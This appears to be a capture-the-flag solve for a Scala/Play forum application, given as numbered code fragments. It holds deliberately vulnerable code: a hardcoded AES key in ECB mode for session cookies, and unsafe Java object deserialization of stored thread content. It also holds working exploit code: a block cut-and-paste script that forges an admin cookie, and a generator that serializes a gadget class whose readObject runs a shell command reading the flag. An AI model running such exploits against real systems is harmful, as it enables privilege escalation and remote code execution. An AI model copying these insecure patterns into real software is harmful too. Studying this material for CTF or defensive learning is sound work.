1
    val adminPassword = randomHex(16)
2
    statement.executeUpdate(s"""
3
      INSERT OR IGNORE INTO users (username, firstname, lastname, password, is_admin)
4
      VALUES ('admin', 'The', 'Admin', '$adminPassword', 1);
5
    """)
6

7
    val rs = statement.executeQuery("SELECT id FROM users WHERE username = 'admin'")
8
    if (rs.next()) {
9
      val adminId = rs.getInt("id")
10
      val threadRs = statement.executeQuery("SELECT COUNT(*) AS count FROM threads")
11
      if (threadRs.next() && threadRs.getInt("count") == 0) {
12
        statement.executeUpdate(s"""
13
          INSERT INTO threads (title, content, author_id)
14
          VALUES (
15
            'All your base are belong to us!',
16
            X'aced000574000a636c75656c657373205e',
17
            $adminId
18
          );
19
        """)
20
      }
21
    }
22
  }
23
}

1
//hardcoded key  secret 12ec014a9b7109a9
2

3
import javax.crypto.Cipher
4
import javax.crypto.spec.SecretKeySpec
5
import java.util.Base64
6
import java.security.SecureRandom
7
import play.api.libs.json._
8

9
type UserSession = {
10
  def username: String
11
  def firstname: String
12
  def lastname: String
13
  def isAdmin: Boolean
14
}
15

16
type CookieEncryption = {
17
  def encrypt(data: String): String
18
  def decrypt(encrypted: String): String
19
}
20
object CookieEncryption {
21
  private val secureRandom = new SecureRandom()
22
  private val key: String = "12ec014a9b7109a9"
23
  private val cipher = Cipher.getInstance("AES/ECB/PKCS5Padding")
24

25
  def encrypt(data: String): String = {
26
    val secretKey = new SecretKeySpec(key.getBytes("UTF-8"), "AES")
27
    cipher.init(Cipher.ENCRYPT_MODE, secretKey)
28
    Base64.getEncoder.encodeToString(cipher.doFinal(data.getBytes("UTF-8")))
29
  }
30

31
  def decrypt(encrypted: String): String = {
32
    val secretKey = new SecretKeySpec(key.getBytes("UTF-8"), "AES")
33
    cipher.init(Cipher.DECRYPT_MODE, secretKey)
34
    new String(cipher.doFinal(Base64.getDecoder.decode(encrypted)))
35
  }
36
}
37

38

39
def main(args: Array[String]): Unit = {
40

41
    val data  = "{\"username\":\"admic1\",\"firstname\":\"Theaaaaaaaaaaaa\",\"lastname\":\"Admin\",\"isAdmin\":false}"
42
    //---------------------------------------------------------------------------------------------------------
43

44
    // val data2 = """{"username":"admin2","firstname":"Th","lastname":"Adminaaaaaaaa:true,"pad":"1"},"isAdmin":false}"""
45
    val data2 = "{\"username\":\"admic2\",\"firstname\":\"Theaaaaaaaaaaaaabcdefghi\",\"lastname\":\"Adminaa:true           }\",\"isAdmin\":false}"
46

47
    println("data2 : " + Json.parse(data2))
48

49
    val lengthTillpad = "{\"username\":\"admin2\",\"firstname\":\"The\",\"lastname\":\"Adminaaaaaaaa".length
50
    println("lengthTillpad : " + lengthTillpad)
51
    val payloadlength = "'true,\\\"p\\\":123}".length
52
    println("payloadlength : " + payloadlength)
53
    println("--------------------------------")
54
    val encrypted = CookieEncryption.encrypt(data)
55
    val encrypted2 = CookieEncryption.encrypt(data2)
56
    println("encrypted : " + encrypted + "\n")
57
    println("encrypted2 : " + encrypted2 + "\n")
58
    //first base64 decode the encrypted string then decrypt each chunk
59
    val base64Decoded = Base64.getDecoder.decode(encrypted)
60
    val base64Decoded2 = Base64.getDecoder.decode(encrypted2)
61
    //convert to hex string and braek into chunks of 16 characters
62
    val hexString = base64Decoded.map("\\x%02x".format(_)).mkString
63
    val hexString2 = base64Decoded2.map("\\x%02x".format(_)).mkString
64
    val chunks = hexString.sliding(64, 64).toList
65
    val chunks2 = hexString2.sliding(64, 64).toList
66
    val numberOfChunks = chunks.length
67
    val numberOfChunks2 = chunks2.length
68
    //split data into chunks of 16 characters
69
    val chunksData = data.sliding(16, 16).toList
70
    val chunksData2 = data2.sliding(16, 16).toList
71

72
    for (i <- 0 until chunks.length) {
73
      if (i < chunksData.length) {
74
        println("["+i.toString()+"] " + chunks(i) + " | " + chunksData(i))
75
      } else {
76
        println("["+i.toString()+"] " + chunks(i) + " | " + "null")
77
      }
78
    }
79

80
    println("--------------------------------")
81

82
    for (i <- 0 until chunks2.length) {
83
      if (i < chunksData2.length) {
84
        println("["+i.toString()+"] " + chunks2(i) + " | " + chunksData2(i))
85
      } else {
86
        println("["+i.toString()+"] " + chunks2(i) + " | " + "null")
87
      }
88
    }
89

90
    println("--------------------------------")
91

92
    println("chunks1 : " + hexString + "\n")
93
    println("chunks2 : " + hexString2 + "\n")
94
    val to_decrypt = "....your encrypted payload with presumed known key"
95

96
    //decode encrypted string from base64 to bytes and replace last 16 bytes with 5th chunk of 16 bytes from hexString2
97
    // // val bytes = Base64.getDecoder.decode(to_decrypt)
98
    // // val bytes2 = Base64.getDecoder.decode(hexString2)
99
    // val newBytes = bytes.take(bytes.length - 16) ++ bytes2.take(16)
100
    // val newBytesString = newBytes.map("\\x%02x".format(_)).mkString
101
    // val newEncrypted = Base64.getEncoder.encodeToString(newBytes)
102
    // println("newEncrypted : " + newEncrypted)
103
    // println("newBytesString : " + newBytesString)
104
    val decrypted_payload = CookieEncryption.decrypt(to_decrypt)
105
    val decrypted = CookieEncryption.decrypt(encrypted)
106
    println("decrypted : " + decrypted)
107
    println("__payload : " + decrypted_payload)
108
    // convert this to JsValue
109
    val userSession = Json.parse(decrypted_payload)
110
    println("userSession : " + userSession)
111
    println("isAdmin : " + (userSession \ "isAdmin").as[Boolean])
112

113
}

1
CREATE TABLE IF NOT EXISTS threads (
2
  id INTEGER PRIMARY KEY,
3
  title TEXT,
4
  content BLOB,  -- Suspicious: why store text as binary?
5
  author_id INTEGER
6
);

1
val content = try {
2
  val bais = new ByteArrayInputStream(thread.content)
3
  val ois = new ObjectInputStream(bais)
4
  ois.readObject().asInstanceOf[String]
5
} catch {
6
  case e: Exception => "Content unavailable"
7
}

1
package scalar.executor
2

3
class CommandExecutor(val command: String) extends Serializable {
4
  def execute(): String = {
5
    val output = command.!!  // Executes shell command via scala.sys.process
6
    output
7
  }
8

9
  private def readObject(in: ObjectInputStream): Unit = {
10
    in.defaultReadObject()
11
    execute()  // RCE triggered during deserialization
12
  }
13
}

1
package scalar.executor
2

3
import java.io._
4
import sys.process._
5

6
class CommandExecutor(val command: String) extends Serializable {
7
  def this() = this("")
8

9
  def execute(): String = {
10
    try { command.!! } catch { case _: Exception => "" }
11
  }
12

13
  private def readObject(in: ObjectInputStream): Unit = {
14
    in.defaultReadObject()
15
    execute()
16
  }
17
}
18

19
object CreatePayload {
20
  def main(args: Array[String]): Unit = {
21
    val payload = new CommandExecutor("sh -c 'cat /app/flag | tee /app/db/forum.db'")
22

23
    val baos = new ByteArrayOutputStream()
24
    val oos = new ObjectOutputStream(baos)
25
    oos.writeObject(payload)
26
    oos.close()
27

28
    val bytes = baos.toByteArray()
29
    println("Hex: " + bytes.map(b => f"${b & 0xff}%02X").mkString)
30

31
    new FileOutputStream("payload.bin").write(bytes)
32
    println("Written to payload.bin")
33
  }
34
}